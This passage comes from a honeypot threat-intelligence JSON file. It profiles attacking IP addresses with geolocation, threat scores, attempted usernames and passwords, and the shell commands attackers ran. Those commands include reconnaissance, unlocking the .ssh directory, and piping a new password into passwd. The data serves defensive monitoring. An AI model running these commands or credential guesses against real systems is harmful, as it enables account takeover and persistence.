        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"airflow\\nyZWgjAaUB119\\nyZWgjAaUB119\\n\"|passwd",
        "echo -e \"airflow\\nyZWgjAaUB119\\nyZWgjAaUB119\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "New Taipei City",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 31.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 118,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T22:13:26.259000+00:00",
        "last_seen_30d": "2026-05-29T22:34:02.368000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 99,
        "Suricata": 19
      }
    },
    "180.244.187.142": {
      "attack_count": 94,
      "first_seen": "2026-05-05T00:18:55.245Z",
      "last_seen": "2026-05-12T03:54:50.207Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Bekasi",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 30.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.9,
        "persistence": 11.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 194,
        "days_active_30d": 14,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-05T00:18:55.245000+00:00",
        "last_seen_30d": "2026-05-18T23:45:00.326000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 75,
        "Honeytrap": 25
      }
    },
    "170.238.136.42": {
      "attack_count": 88,
      "first_seen": "2026-05-11T02:27:19.906Z",
      "last_seen": "2026-05-21T11:29:43.500Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.fingerprint",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Jaboat\u00e3o dos Guararapes",
      "asn": 266320,
      "as_org": "Brasil Redes Comunicacoes LTDA - ME",
      "threat_score": 27.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.2,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 105,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T02:27:19.906000+00:00",
        "last_seen_30d": "2026-05-21T11:30:46.197000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 60,
        "Suricata": 45
      }
    },
    "35.205.126.255": {
      "attack_count": 71,
      "first_seen": "2026-05-12T08:39:35.428Z",
      "last_seen": "2026-05-12T08:40:35.769Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 3379",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 12.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T08:39:35.428000+00:00",
        "last_seen_30d": "2026-05-12T08:41:42.758000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "178.165.125.212": {
      "attack_count": 52,
      "first_seen": "2026-05-05T19:13:29.044Z",
      "last_seen": "2026-05-17T07:35:39.447Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kharkiv",
      "asn": 34700,
      "as_org": "Maxnet Telecom, Ltd",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.0,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 79,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T19:13:29.044000+00:00",
        "last_seen_30d": "2026-05-17T07:36:46.759000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 52,
        "Suricata": 27
      }
    },
    "222.93.156.99": {
      "attack_count": 48,
      "first_seen": "2026-05-20T00:14:23.854Z",
      "last_seen": "2026-05-20T19:42:10.710Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T00:14:23.854000+00:00",
        "last_seen_30d": "2026-05-20T19:43:15.100000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "129.232.23.254": {
      "attack_count": 42,
      "first_seen": "2026-05-20T18:26:20.216Z",
      "last_seen": "2026-05-20T22:19:02.415Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Lesotho",
      "country_code": "LS",
      "city": "Maseru",
      "asn": 33567,
      "as_org": "TELECOM-LESOTHO",
      "threat_score": 19.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:26:20.216000+00:00",
        "last_seen_30d": "2026-05-20T22:20:08.095000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 42,
        "Suricata": 22
      }
    },
    "165.22.95.13": {
      "attack_count": 42,
      "first_seen": "2026-05-07T16:25:08.308Z",
      "last_seen": "2026-05-07T20:35:04.109Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T14:53:40.441000+00:00",
        "last_seen_30d": "2026-05-07T21:46:43.912000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 144,
        "Cowrie": 42
      }
    },
    "190.2.135.111": {
      "attack_count": 40,
      "first_seen": "2026-05-15T22:25:13.199Z",
      "last_seen": "2026-05-29T23:40:52.636Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Naaldwijk",
      "asn": 49981,
      "as_org": "WorldStream B.V.",
      "threat_score": 47.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.1,
        "persistence": 19.2,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 23,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T12:25:55.872000+00:00",
        "last_seen_30d": "2026-05-29T23:41:57.182000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 24
      }
    },
    "45.234.81.139": {
      "attack_count": 32,
      "first_seen": "2026-05-24T21:20:38.495Z",
      "last_seen": "2026-05-24T21:35:31.257Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Caruaru",
      "asn": 267345,
      "as_org": "BOM JESUS NET LTDA",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T21:20:38.495000+00:00",
        "last_seen_30d": "2026-05-24T21:45:40.804000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 17
      }
    },
    "104.248.82.218": {
      "attack_count": 30,
      "first_seen": "2026-05-08T03:40:07.363Z",
      "last_seen": "2026-05-29T01:52:57.737Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 42.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.4,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T03:40:07.363000+00:00",
        "last_seen_30d": "2026-05-29T01:54:03.456000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "43.224.126.107": {
      "attack_count": 28,
      "first_seen": "2026-05-02T08:46:53.783Z",
      "last_seen": "2026-05-28T16:44:03.530Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sri Lanka",
      "country_code": "LK",
      "city": "Pugoda",
      "asn": 132124,
      "as_org": "Information and Communication Technology Agency of Sri Lanka",
      "threat_score": 56.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.0,
        "persistence": 22.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 80,
        "days_active_30d": 27,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T08:43:44.779000+00:00",
        "last_seen_30d": "2026-05-28T16:54:07.289000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 48,
        "Cowrie": 28,
        "Honeytrap": 4
      }
    },
    "159.65.6.197": {
      "attack_count": 25,
      "first_seen": "2026-05-28T21:54:17.888Z",
      "last_seen": "2026-05-29T04:17:28.760Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user"
      ],
      "passwords_attempted": [
        "user",
        "",
        "icatch99",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 29.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.4,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T20:24:23.146000+00:00",
        "last_seen_30d": "2026-05-29T04:18:34.441000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 10
      }
    },
    "46.175.148.122": {
      "attack_count": 24,
      "first_seen": "2026-05-12T01:36:47.796Z",
      "last_seen": "2026-05-18T00:28:30.963Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 50673,
      "as_org": "Serverius Holding B.V.",
      "threat_score": 18.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T01:36:47.796000+00:00",
        "last_seen_30d": "2026-05-18T00:29:40.299000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "192.140.176.190": {
      "attack_count": 19,
      "first_seen": "2026-05-28T01:59:08.803Z",
      "last_seen": "2026-05-28T02:14:55.554Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "arkserver",
        "claude"
      ],
      "passwords_attempted": [
        "12345678",
        "ark",
        "fjbdfdjkdsfs541544"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 146817,
      "as_org": "Hubei Feixun Network Co., Ltd",
      "threat_score": 24.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T01:59:08.803000+00:00",
        "last_seen_30d": "2026-05-28T02:24:59.051000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 19,
        "Suricata": 8
      }
    },
    "146.59.47.168": {
      "attack_count": 18,
      "first_seen": "2026-05-08T03:16:10.337Z",
      "last_seen": "2026-05-08T16:08:58.336Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 6.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T03:16:10.337000+00:00",
        "last_seen_30d": "2026-05-08T16:10:03.288000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "198.23.177.154": {
      "attack_count": 18,
      "first_seen": "2026-05-31T09:40:44.330Z",
      "last_seen": "2026-05-31T15:57:25.325Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 26.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T09:40:44.330000+00:00",
        "last_seen_30d": "2026-05-31T15:58:33.423000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "192.42.116.47": {
      "attack_count": 16,
      "first_seen": "2026-05-04T04:39:24.447Z",
      "last_seen": "2026-05-22T05:38:36.678Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "nil",
        "sugarmaint"
      ],
      "passwords_attempted": [
        "",
        "z4ng0rber"
      ],
      "commands_executed": [
        "",
        "bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1777869568263125131\n",
        "echo \"bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1777869568263125131\" | sh"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.size",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 56.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.8,
        "persistence": 17.5,
        "diversity": 10,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 121,
        "days_active_30d": 21,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-04T04:39:24.447000+00:00",
        "last_seen_30d": "2026-05-24T01:22:51.761000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 87,
        "Cowrie": 16,
        "H0neytr4p": 10,
        "Ciscoasa": 7,
        "Honeytrap": 1
      }
    },
    "101.126.30.240": {
      "attack_count": 15,
      "first_seen": "2026-05-28T20:22:36.577Z",
      "last_seen": "2026-05-28T20:52:25.698Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root",
        "gestion"
      ],
      "passwords_attempted": [
        "Qwer1234!@#$",
        "asd1234567@",
        "gestion"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T20:22:36.577000+00:00",
        "last_seen_30d": "2026-05-28T20:53:35.790000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 9
      }
    },
    "113.221.78.214": {
      "attack_count": 14,
      "first_seen": "2026-05-19T23:57:56.977Z",
      "last_seen": "2026-05-20T01:05:52.406Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T23:57:56.977000+00:00",
        "last_seen_30d": "2026-05-20T01:07:02.087000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 7
      }
    },
    "14.103.114.218": {
      "attack_count": 14,
      "first_seen": "2026-05-25T10:16:42.781Z",
      "last_seen": "2026-05-25T10:39:04.136Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "curl",
        "test"
      ],
      "passwords_attempted": [
        "Passw0rd",
        "welltech12"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 21.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T10:16:42.781000+00:00",
        "last_seen_30d": "2026-05-25T10:40:08.577000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 8
      }
    },
    "2.26.252.153": {
      "attack_count": 14,
      "first_seen": "2026-05-07T06:58:27.477Z",
      "last_seen": "2026-05-27T19:10:15.680Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Orem",
      "asn": 210457,
      "as_org": "Kyonix Networks Limited",
      "threat_score": 44.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.8,
        "persistence": 20.8,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 25,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T00:05:18.955000+00:00",
        "last_seen_30d": "2026-05-27T19:11:20.710000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Cowrie": 14
      }
    },
    "64.62.156.152": {
      "attack_count": 14,
      "first_seen": "2026-05-08T06:31:13.286Z",
      "last_seen": "2026-05-20T12:45:40.934Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 30,
        "ports_targeted_30d": 81,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T03:13:04.199000+00:00",
        "last_seen_30d": "2026-05-31T13:39:22.808000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 188,
        "Honeytrap": 86,
        "Cowrie": 14,
        "Adbhoney": 4,
        "Dionaea": 4,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Miniprint": 1
      }
    },
    "65.49.20.66": {
      "attack_count": 14,
      "first_seen": "2026-05-10T12:36:56.186Z",
      "last_seen": "2026-05-30T11:16:05.571Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 98.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 28.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 726,
        "days_active_30d": 30,
        "ports_targeted_30d": 97,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T03:53:41+00:00",
        "last_seen_30d": "2026-05-31T15:19:44.415000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 484,
        "Honeytrap": 144,
        "H0neytr4p": 48,
        "Dionaea": 16,
        "Cowrie": 14,
        "Redishoneypot": 11,
        "ElasticPot": 6,
        "Adbhoney": 2,
        "Ipphoney": 1
      }
    },
    "185.107.80.93": {
      "attack_count": 12,
      "first_seen": "2026-05-06T14:43:09.570Z",
      "last_seen": "2026-05-24T10:29:04.474Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Auberville",
      "asn": 43350,
      "as_org": "NForce Entertainment B.V.",
      "threat_score": 95.1,
      "threat_level": "critical",
